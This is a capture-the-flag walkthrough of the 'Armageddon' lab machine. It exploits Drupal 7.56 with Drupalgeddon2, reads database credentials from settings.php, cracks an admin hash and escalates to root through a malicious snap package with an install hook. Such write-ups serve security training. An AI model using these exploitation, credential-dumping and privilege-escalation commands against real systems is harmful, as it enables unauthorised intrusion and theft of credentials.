🟢Armageddon

Recon & Enum

port scan

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

directory scan

/.html                (Status: 403) [Size: 207]
/index.php            (Status: 200) [Size: 7440]
/misc                 (Status: 301) [Size: 233] [--> http://10.10.10.233/misc/]
/themes               (Status: 301) [Size: 235] [--> http://10.10.10.233/themes/]
/modules              (Status: 301) [Size: 236] [--> http://10.10.10.233/modules/]
/scripts              (Status: 301) [Size: 236] [--> http://10.10.10.233/scripts/]
/sites                (Status: 301) [Size: 234] [--> http://10.10.10.233/sites/]
/includes             (Status: 301) [Size: 237] [--> http://10.10.10.233/includes/]
/install.php          (Status: 200) [Size: 3172]
/profiles             (Status: 301) [Size: 237] [--> http://10.10.10.233/profiles/]
/update.php           (Status: 403) [Size: 4057]
/README.txt           (Status: 200) [Size: 5382]
/robots.txt           (Status: 200) [Size: 2189]
/cron.php             (Status: 403) [Size: 7388]
/INSTALL.txt          (Status: 200) [Size: 17995]
/LICENSE.txt          (Status: 200) [Size: 18092]
/CHANGELOG.txt        (Status: 200) [Size: 111613]
/xmlrpc.php           (Status: 200) [Size: 42]
/COPYRIGHT.txt        (Status: 200) [Size: 1481]
/.html                (Status: 403) [Size: 207]
/UPGRADE.txt          (Status: 200) [Size: 10123]
/authorize.php        (Status: 403) [Size: 2824]

website

their is login page running on , after enumerating in burp i found that the webiste is php based and using drupal for authentication

X-Generator: Drupal 7 (http://drupal.org)

http://10.10.10.233/CHANELOG.TXT

I found the exact version number of drupal

Drupal 7.56, 2017-06-21
-----------------------
- Fixed security issues (access bypass). See SA-CORE-2017-003.

shell as apache

searchsploit

their are lots of payload on it

Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)                                                     | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC)                                                  | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution                                          | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit)                                      | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC)                                             | php/webapps/44448.py

but this matches according to our needs :- version no. Unauthenticated non-metasploitable public exploit on github

Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution

searchsploit -m php/webapps/44449.rb

CVE 2018 - 7600

GitHub - dreadlocked/Drupalgeddon2: Exploit for Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)GitHub

this will give us shell as apache , and provide a link "http://10.10.10.233/shell.php" with parameter "c" through which we can do RCE lets get a reverse shell first ..... double-encode the payload while injecting NOTE :- we get this shell /sbin/nologin , so their are lots of things we can not perform like :- cd , bash , python , nc , wget ..... etc , and for some other things it gives Permission Denied

in case if script doesn't work try the command below , then run the script

sudo gem install highline

privesc apache => brucetherealadmin

we can do enough here , in order to escalate our privilages i need some kind of credentials , because most of the commands are not working and i even can't transfer scripts to victim like linpeas or etc....... After doing google , i get to know where are default credentials of database are stored :- "/sites/default/setting.php"

cat /var/www/html/sites/default/setting.php

$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

we got database (drupal) credentials , "drupaluser" & "CQHEy@9M*m23gBVj" before run mysql commands , we don't have ptty shell , so we have to direct execute the sql query in single go , so that terminal didn't stuck , as it stuck without that

mysql -e 'show tables;' -u drupaluser -p'CQHEy@9M*m23gBVj' drupal
>> we got alot of tables 

mysql -e 'show tables;' -u drupaluser -p'CQHEy@9M*m23gBVj' drupal | grep user
>> user table does exist

mysql -e 'select * from users;' -u drupaluser -p'CQHEy@9M*m23gBVj' drupal
1       brucetherealadmin       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt

we got hash for user "brucetherealadmin" , lets save it in file , then find hash type then crack it

hashcat -m 7900 hash.txt ~/chaos/rockyou.txt

password >> booboo

i tried switching user but didn't work , so i tried ssh and got the shell as brucetherealadmin

privesc brucetherealadmin => root

sudo -l

found a binary that i can run as root :-

User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *

i immediately gone to GTFObins , and found this

snap | GTFOBinsgtfobins.github.io

this says , this binary can't do anything on its own , Basically its a package manager to install packages just like apt , but we can creat a malicious package , and then try to install it

creating malicious package

first i just try to read the root.txt, so create the package in attacker machine then transfer it to victim and then use snap to install it

first install fmp to create snap package >>

sudo gem install fpm


second create the package >>

COMMAND='cat /root/root.txt'
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all meta



third transfer it to victim and install it >>

 sudo snap install xxxx_1.0_all.snap --dangerous --devmode 

we got , root.txt , but not shell